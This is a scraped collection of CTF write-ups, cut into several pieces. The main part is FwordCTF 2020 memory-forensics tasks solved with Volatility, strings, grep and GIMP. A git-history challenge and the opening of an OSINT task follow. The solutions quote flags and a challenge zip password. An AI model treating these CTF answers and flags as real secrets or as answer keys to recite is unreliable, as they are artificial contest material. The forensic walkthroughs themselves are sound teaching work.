```Volatility Foundation Volatility Framework 2.6Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa801af105c0:explorer.exe 1000 1332 31 896 2020-08-26 09:11:21 UTC+0000. 0xfffffa801b024780:WzPreloader.ex 2264 1000 6 123 2020-08-26 09:11:21 UTC+0000. 0xfffffa801adeaa40:mspaint.exe 1044 1000 7 133 2020-08-26 09:20:28 UTC+0000. 0xfffffa801aca4060:chrome.exe 3700 1000 33 986 2020-08-26 09:12:48 UTC+0000.. 0xfffffa801af86b00:chrome.exe 2560 3700 13 337 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019ac0640:chrome.exe 3992 3700 14 216 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8018e55b00:chrome.exe 3304 3700 8 231 2020-08-26 09:12:50 UTC+0000.. 0xfffffa8019b5b5f0:chrome.exe 540 3700 13 171 2020-08-26 09:13:21 UTC+0000.. 0xfffffa801ab9c750:chrome.exe 3752 3700 8 93 2020-08-26 09:12:48 UTC+0000.. 0xfffffa8019b60060:chrome.exe 3816 3700 13 195 2020-08-26 09:13:22 UTC+0000.. 0xfffffa8019a5b360:chrome.exe 3528 3700 11 209 2020-08-26 09:12:55 UTC+0000.. 0xfffffa8019b2ab00:chrome.exe 616 3700 26 332 2020-08-26 09:13:21 UTC+0000.. 0xfffffa8019b6fb00:chrome.exe 2516 3700 17 294 2020-08-26 09:13:32 UTC+0000. 0xfffffa8019bf7060:DumpIt.exe 1764 1000 2 52 2020-08-26 09:22:18 UTC+0000 0xfffffa801a74db00:wininit.exe 388 348 3 84 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a74e7e0:services.exe 488 388 8 232 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801aaba450:svchost.exe 3308 488 14 339 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801abff060:svchost.exe 1240 488 18 311 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801aa64510:svchost.exe 900 488 38 1047 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019bf2060:wuauclt.exe 1876 900 3 98 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8019bc0b00:svchost.exe 3284 488 7 110 2020-08-26 09:20:28 UTC+0000.. 0xfffffa801a9e6b00:svchost.exe 680 488 8 298 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801a976b00:mscorsvw.exe 4012 488 6 93 2020-08-26 09:12:30 UTC+0000.. 0xfffffa801b3211e0:svchost.exe 2996 488 10 366 2020-08-26 09:11:29 UTC+0000.. 0xfffffa801ab61b00:svchost.exe 1336 488 10 147 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aecf5f0:taskhost.exe 2036 488 10 234 2020-08-26 09:11:20 UTC+0000.. 0xfffffa8018e10b00:spoolsv.exe 1212 488 14 299 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ab66b00:svchost.exe 1096 488 16 480 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ae2e060:sppsvc.exe 1360 488 4 151 2020-08-26 09:10:34 UTC+0000.. 0xfffffa8018e4f4f0:svchost.exe 1748 488 7 104 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801a9bb060:svchost.exe 600 488 11 367 2020-08-26 09:10:27 UTC+0000... 0xfffffa801a5f95f0:WmiPrvSE.exe 952 600 5 120 2020-08-26 09:11:30 UTC+0000.. 0xfffffa801ae824b0:mscorsvw.exe 4052 488 6 83 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801aa4a860:svchost.exe 864 488 22 574 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801b20fb00:wmpnetwk.exe 2768 488 14 494 2020-08-26 09:11:28 UTC+0000.. 0xfffffa801ac9bb00:svchost.exe 1388 488 22 340 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aa34b00:svchost.exe 808 488 26 533 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019f45870:dwm.exe 1604 808 3 80 2020-08-26 09:11:20 UTC+0000.. 0xfffffa801a9ecb00:svchost.exe 756 488 23 588 2020-08-26 09:10:27 UTC+0000... 0xfffffa801aa879b0:audiodg.exe 968 756 8 148 2020-08-26 09:10:28 UTC+0000.. 0xfffffa801aec4480:SearchIndexer. 2644 488 13 711 2020-08-26 09:11:27 UTC+0000.. 0xfffffa801aab6410:TrustedInstall 1020 488 5 147 2020-08-26 09:10:28 UTC+0000. 0xfffffa801a5f3b00:lsass.exe 496 388 10 752 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a79a550:lsm.exe 504 388 10 147 2020-08-26 09:10:27 UTC+0000 0xfffffa801a738060:csrss.exe 356 348 10 459 2020-08-26 09:10:26 UTC+0000 0xfffffa8018da8040:System 4 0 103 585 2020-08-26 09:10:17 UTC+0000. 0xfffffa8019ebdb00:smss.exe 264 4 2 32 2020-08-26 09:10:17 UTC+0000 0xfffffa801a72fa00:csrss.exe 404 380 9 384 2020-08-26 09:10:27 UTC+0000. 0xfffffa801b2ad060:conhost.exe 2592 404 2 56 2020-08-26 09:22:18 UTC+0000 0xfffffa801a763930:winlogon.exe 448 380 5 122 2020-08-26 09:10:27 UTC+0000 0xfffffa801b01d480:FAHWindow64.ex 2252 2240 2 77 2020-08-26 09:11:21 UTC+0000```
The only obvious process name that could be used for chatting is the Chrome browser (chrome.exe).
There was an interesting tutorial that is important to extract the web browser's history using Volatility plugin: [Volatility Plugin β Chrome History](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/).
I downloaded the plugin from github.
```git clone https://github.com/superponible/volatility-plugins```
And I used it to extract the browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
Apart Facebook, Twitter, Fword platform, Youtube and the Fword's discord's public channel, there was 2 websites that could be used for a secret chat: `https://gofile.io/d/k2RkIS` (Gofile used to share files) and `https://webchat.freenode.net/` (Kiwi IRC - The web IRC client which is an IRC web client used for IRC chatting).
Personally, when I saw the Gofile website I forget to follow the IRC track and I will discuss about this in the next task `Memory 3` because that file is intended for that task and we can't solve it or validate its flag before seeing the flag of the actual task `Memory 2`. And I figured out that I needed to catch for any data related to the IRC chat that occurred in the Chrome web browser. But since I wasn't be able to find a clean method to do that, I used the `strings` command and I searched for any keyword related to IRC.
```strings foren.raw > /tmp/foen_strings.loggrep -i "freenode " /tmp/foen_strings.log```
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
For the people that know the IRC commands, `/PRIVMSG` is used to join a channel using the channel name. So, the channel name is `#FwordCTF{top_secret_channel}` (the # is mandatory in IRC channel names).
This task could be easily be solved using `strings foren.raw | grep FwordCTF`. But this is not a good idea because it's useless to solve a task using such method since it doesn't explain the real purpose of the task.
So, the flag is ```FwordCTF{top_secret_channel}```.___
## Memory 3
**Category:** Forensics**Points:** 405**Author:** Semah BA & KOOLI**Description:**
> He sent me a secret file , can you recover it ?
> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory` and the last steps of the task `Memory 2`, in this task we have to find the file that the author's friend sent to him.
We already know that a file was shared on Gofile according to the web browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
The file that we are searching for was available in this web page: [https://gofile.io/d/k2RkIS](https://gofile.io/d/k2RkIS).
That file was an compressed and encrypted .zip file
I downloaded the file (available here: [important.zip](resources/forensics-405-memory_3/important.zip))
And since in the description, the author asked to avoid brute forcing the password, I knew that he was talking about the .zip file.
Personally, since the `Memory` tasks are chained (the next task will be visible only if you solve the actual task), I was able to solve the `Memory 3` task (without seeing its description) before the `Memory 2` task and even if the flag of the `Memory 2` task was there in the output of the ``strings`` command (see the previous task), I don't know why I ignored it and I was focused on a way to extract the flag from the compressed encrypted .zip file and I figured out that the author was talking with his friend on IRC so I checked again the conversation adn I found that they shared the file's password there.
But without seeing the `Memory 3`'s description, I didn't know that brute forcing the .zip's password can't help me because I tried it and I failed. And from this moment, I asked myself why can't I try to use the `strings` command to search for the .zip's password there ? And since I know that the password will not be obvious (it will not contain the word `FwordCTF`), I tried the following commands.
```strings foren.raw > /tmp/foen_strings.loggrep -i "password " /tmp/foen_strings.log```
And I found the common results as the previous task `Memory 2`.
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
We will take only a small part:
```:[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1```
This is understandable as:
```KOOLI!c50e307f is connecting from 197.14.48.127He is talking from the channel #FwordCTF{top_secret_channel}He send the message: The password isHe also sent another message: fw0rdsecretp4ssAnd he was laughing```
So, the password is ``fw0rdsecretp4ss``.
And, when we used it to extract the files from the .zip file, we found an image that contain the flag: [flag1.png](resources/forensics-405-memory_3/flag1.png)
So, the flag is ```FwordCTF{dont_share_secrets_on_public_channels}```.___
## Memory 4
**Category:** Forensics**Points:** 492**Author:** SemahBA & KOOLI**Description:**
> Since i'm a geek, i hide my secrets in weird places
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks but as usual I found the flag of the next task `Memory 5` before finding the flag of the actual task `Memory 4`.
And when I wanted to understand what does that mean `weird place`, if this can't be the processes that we already worked on and that could be related to geeks, I thought about the user's registry keys.
So, I get back to the following command.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:
```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
And since we know that the user that we are investigating is `SBA_AK`, we have two file paths that we have might need to check: `\??\C:\Users\SBA_AK\ntuser.dat` or/and `\??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat`.
I started with the first one and I used its virtual offset in the volatility command to list the registry keys.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:```
And that's how I soptted the subkey `FLAG` that might contain the flag.
Then, I printed its value.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410 -K "FLAG"```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```
So, the flag is ```FwordCTF{hiding_secrets_in_regs}```.___
## Memory 5
**Category:** Forensics**Points:** 495**Author:** SemahBA & KOOLI**Description:**
> I'm an artist too, i love painting. I always paint in these dimensions 600x300
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
Since I solved this task `Memory 5` before solving the `Memory 4` task, I didn't have the chance to read its description because the task `Memory 5` will not be visible unless I solve the `Memory 4` task.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks.
```volatility -f foren.raw --profile=Win7SP0x64 pslist```
Output:
```Volatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018da8040 System 4 0 103 585 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa8019ebdb00 smss.exe 264 4 2 32 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa801a738060 csrss.exe 356 348 10 459 0 0 2020-08-26 09:10:26 UTC+00000xfffffa801a74db00 wininit.exe 388 348 3 84 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a72fa00 csrss.exe 404 380 9 384 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a763930 winlogon.exe 448 380 5 122 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a74e7e0 services.exe 488 388 8 232 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a5f3b00 lsass.exe 496 388 10 752 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a79a550 lsm.exe 504 388 10 147 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9bb060 svchost.exe 600 488 11 367 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9e6b00 svchost.exe 680 488 8 298 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9ecb00 svchost.exe 756 488 23 588 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa34b00 svchost.exe 808 488 26 533 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa4a860 svchost.exe 864 488 22 574 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa64510 svchost.exe 900 488 38 1047 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa879b0 audiodg.exe 968 756 8 148 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801aab6410 TrustedInstall 1020 488 5 147 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801ab66b00 svchost.exe 1096 488 16 480 0 0 2020-08-26 09:10:29 UTC+00000xfffffa8018e10b00 spoolsv.exe 1212 488 14 299 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801abff060 svchost.exe 1240 488 18 311 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801ab61b00 svchost.exe 1336 488 10 147 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ac9bb00 svchost.exe 1388 488 22 340 0 0 2020-08-26 09:10:30 UTC+00000xfffffa8018e4f4f0 svchost.exe 1748 488 7 104 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ae2e060 sppsvc.exe 1360 488 4 151 0 0 2020-08-26 09:10:34 UTC+00000xfffffa801aecf5f0 taskhost.exe 2036 488 10 234 1 0 2020-08-26 09:11:20 UTC+00000xfffffa8019f45870 dwm.exe 1604 808 3 80 1 0 2020-08-26 09:11:20 UTC+00000xfffffa801af105c0 explorer.exe 1000 1332 31 896 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b01d480 FAHWindow64.ex 2252 2240 2 77 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b024780 WzPreloader.ex 2264 1000 6 123 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801aec4480 SearchIndexer. 2644 488 13 711 0 0 2020-08-26 09:11:27 UTC+00000xfffffa801b20fb00 wmpnetwk.exe 2768 488 14 494 0 0 2020-08-26 09:11:28 UTC+00000xfffffa801b3211e0 svchost.exe 2996 488 10 366 0 0 2020-08-26 09:11:29 UTC+00000xfffffa801a5f95f0 WmiPrvSE.exe 952 600 5 120 0 0 2020-08-26 09:11:30 UTC+00000xfffffa801a976b00 mscorsvw.exe 4012 488 6 93 0 1 2020-08-26 09:12:30 UTC+00000xfffffa801ae824b0 mscorsvw.exe 4052 488 6 83 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aaba450 svchost.exe 3308 488 14 339 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aca4060 chrome.exe 3700 1000 33 986 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801ab9c750 chrome.exe 3752 3700 8 93 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801af86b00 chrome.exe 2560 3700 13 337 1 0 2020-08-26 09:12:48 UTC+00000xfffffa8018e55b00 chrome.exe 3304 3700 8 231 1 0 2020-08-26 09:12:50 UTC+00000xfffffa8019a5b360 chrome.exe 3528 3700 11 209 1 0 2020-08-26 09:12:55 UTC+00000xfffffa8019b2ab00 chrome.exe 616 3700 26 332 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b5b5f0 chrome.exe 540 3700 13 171 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b60060 chrome.exe 3816 3700 13 195 1 0 2020-08-26 09:13:22 UTC+00000xfffffa8019b6fb00 chrome.exe 2516 3700 17 294 1 0 2020-08-26 09:13:32 UTC+00000xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+00000xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+00000xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+00000xfffffa801b2ad060 conhost.exe 2592 404 2 56 1 0 2020-08-26 09:22:18 UTC+0000```
And I found that the only process that we didn't already checked and that was executed later was `mspaint.exe` (Paint).
Now, coming back to the reality, the task description was mentioning the Paint tool.
And the challenge that I tried to solve is more difficult because without the task's description, I didn't have the image's dimensions.
I have the process name and the process ID that I have to work on in order to extract the painted image from the memory that contain the flag.
I followed this write-up to do that: [Google CTF 2016 β Forensic βFor1β Write-up](https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/).
And the first step that I needed to do was to extract the memory dump for that specific process.
```volatility -f foren.raw --profile=Win7SP0x64 memdump -p 1044 -D /tmp```
The extracted memory dump file will be located on `/tmp/1044.dmp`.
And as pointed in the mentioned write-up, we have to download Gimp, to rename the file from 1044.dmp to 1044.data and to open it using Gimp.
The extracted file 1044.dmp was bigger than the memory dump and I still can't explain why we see such behavior when we dump the process in a separate file.
And as I said, when I solved this task, I didn''t have the image's dimensions and when I opened the 1044.data file using Gimp, I had 3 parameters to change: the offset, the width and the height.
But I found that the height parameter is not really important because we only need to change the width because as I understood, the width will limit the number of pixels per line and if the width is incorrect, all the lines after the first line will be shifted and that will avoid us to see the image because every next line will be also shifted from the previous line.
The first time, I tried to work with a larger width because I was saying that I will see the whole picture when the windows is larger but this is not always correct.
The offset is used to scroll the image between the left and the right by shifting or popping the pixels in the view (from the beginning first index and the last index of the array).
This makes the width more important than the offset.
So, if we have the correct width, we can clearly find the painted image only by changing the offset because we will be scrolling the memory dump until we get to the painted image since the memory dump must contain the data of that process and Paint's data is an image.
The only thing that made me lucky in this task is, I though that we have to guess the image dimensions that that will not be difficult. So, I supposed that the painted image will be square shaped. And when I used a larger width and I changed the offset from the min to the max and I didn't find any interesting thing, I reduced the width until 350 or 400. And I changed again the offset from the minimum to the maximum until I found an interesting blank image that contains some random lines. Then, I changed the width and the height to make the image square (but as I said, changing the height will not be useful since the image can be visible with a wrong height) until I found an interesting image with a width equals to 300 but the image was still not clear. So, I changed the width from 100, 200, 300, 400, 500, 600 and Bingo! the width was 600. And the image is still clear with a width proportional to 600 (like 1200, 1800, 2400).
Then, I took a screenshot on that image and I rotated it to see the flag clearly.
So, the flag is ```FwordCTF{Paint_Skills_FTW!}```.
___
# Scoreboard
After solving all these tasks in a team of two players (the third team member had an issue and was not able to join the party), our team **[S3c5murf](https://ctftime.org/team/63808)** get the score 3277 and get ranked 67/360 out of the teams that had a score greater than 0 :
......
...
...
|
Viewing the chalenge page telling us that it's issue with commit un github
```Hello World!!
I told the developer to be careful while making a git commit..
Developed by [Altaf Shaikh](https://altafshaikh.ml/)```
after visiting the Developer page i got into his github abbount and i noticed the first repo [past_never_leaves](https://github.com/altafshaikh/past_never_leaves) because it's descreption said : ` Restcon 2020 CTF Challenge `
after cloning the repo with `git clone https://github.com/altafshaikh/past_never_leaves.git`
i started with viewing the logs `git log`
and i noticed that there is deleted file
so i started with finding the difference between each commit and the first one
`git log | grep 'commit'`to list all the commits and after comparing every commit with the first one i got this `git diff af671d22a 9c723aed`
which gaved me the flag
# Flag `RESTCON{g1t_ch3ck0ut}` |
# FwordCTF 2020 WriteupThis repository serves as a writeup for FwordCTF 2020 solved by [S3c5murf](https://ctftime.org/team/63808)'s team
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{}
**Hint:**
>(no hint)
### Write-up
I got to the Twitter profile [@1337bloggs](https://twitter.com/1337bloggs/with_replies). And I found the [retweeted](https://twitter.com/EwordTeam/status/1297957636026126339) tweet there.
[@EwordTeam](https://twitter.com/EwordTeam) recommended the user to visit their ctftime's team profile to continue working on this task.
It's possible to search the team Eword in the [Rating page](https://ctftime.org/stats/) on ctftime.org. And 'Eword' is the team name that we are looking for because [@EwordTeam](https://twitter.com/EwordTeam) shared their ctftime's team profile link in their Twitter's profile description.
And this is the team profile: [https://ctftime.org/team/131587](https://ctftime.org/team/131587)
But, as [@EwordTeam](https://twitter.com/EwordTeam) mentioned, it looks like the description was removed from there.
The first thing I thought about was [Wayback Machine](https://archive.org/web/).
I pasted the URL `https://ctftime.org/team/131587` and I found that link was indexed on 26/08/2020 and 27/08/2020 which is 2 days before the starting of the CTF.
Then, I choosed the indexed page from 27/08/2020: [archive](https://web.archive.org/web/20200827114614/https://ctftime.org/team/131587)
And that's how we found an extra link from Pastebin: [https://pastebin.com/8bk9qLX1](https://pastebin.com/8bk9qLX1)
I accessed that link.
So, the real task started and we should find the leader of Eword by following the hint provided in the second Pastebin link: [https://pastebin.com/PZvaSjA0](https://pastebin.com/PZvaSjA0)
As we can see, that link provided a Base64 encoded string. I was saying this is most likely a file but what type of file is this ? And the best way to know that is to decode the Base64 encoded string and to set it into a file and then we use the command `file` to identify what type of file is that:
